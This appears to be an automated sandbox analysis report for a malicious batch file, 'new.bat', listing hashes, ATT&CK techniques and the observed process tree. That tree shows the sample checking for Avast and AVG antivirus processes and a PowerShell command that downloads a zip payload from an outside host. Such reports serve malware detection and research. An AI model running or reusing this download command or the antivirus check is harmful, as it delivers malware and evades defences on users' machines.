b4023cfe4d4949ec73303edee321434e2586f0a6d3435d0cc306e0dc7075a8c5

Analysis

max time kernel
96s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2024, 08:41

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General

Target
new.bat
Size 15.0MB
Sample241113-klfljs1ram
SHA256 b4023cfe4d4949ec73303edee321434e2586f0a6d3435d0cc306e0dc7075a8c5
MD5 09425a7b32c954a7c9f57aeb687bd4db
SHA1 9ca54b261757325a7e7b675d8fbc3f148c1da12c
SHA512 fa07e49e079667950527b509b8ec5b023ecb849d6537044cad140ccb0570d6b0d633864183111062306167fd01bc55d5a0041e4a23134ae50194c0fcbc58b441
SSDEEP 192:N4V1WVUQ5kY/Bjwdy8cdyGQenejPVuz0U96ys+b0M4CNEP2K1yL36b+w1tttROty:NKDGe+RHk
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1840	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1840	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
4724	tasklist.exe
736	tasklist.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1840	powershell.exe
1840	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4724	tasklist.exe
Token: SeDebugPrivilege	736	tasklist.exe
Token: SeDebugPrivilege	1840	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3128 wrote to memory of 4724	3128	cmd.exe	84
PID 3128 wrote to memory of 4724	3128	cmd.exe	84
PID 3128 wrote to memory of 3476	3128	cmd.exe	85
PID 3128 wrote to memory of 3476	3128	cmd.exe	85
PID 3128 wrote to memory of 736	3128	cmd.exe	87
PID 3128 wrote to memory of 736	3128	cmd.exe	87
PID 3128 wrote to memory of 4372	3128	cmd.exe	88
PID 3128 wrote to memory of 4372	3128	cmd.exe	88
PID 3128 wrote to memory of 1840	3128	cmd.exe	90
PID 3128 wrote to memory of 1840	3128	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq AvastUI.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:4724
- C:\Windows\system32\find.exe
  find /i "AvastUI.exe"
  2⤵
  PID:3476
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq avgui.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:736
- C:\Windows\system32\find.exe
  find /i "avgui.exe"
  2⤵
  PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_jtt3zl0i.m1i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jtt3zl0i.m1i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1840-0-0x00007FFE43543000-0x00007FFE43545000-memory.dmp

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memory/1840-1-0x0000024565220000-0x0000024565242000-memory.dmp

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memory/1840-11-0x00007FFE43540000-0x00007FFE44001000-memory.dmp

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memory/1840-12-0x00007FFE43540000-0x00007FFE44001000-memory.dmp

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memory/1840-15-0x00007FFE43540000-0x00007FFE44001000-memory.dmp

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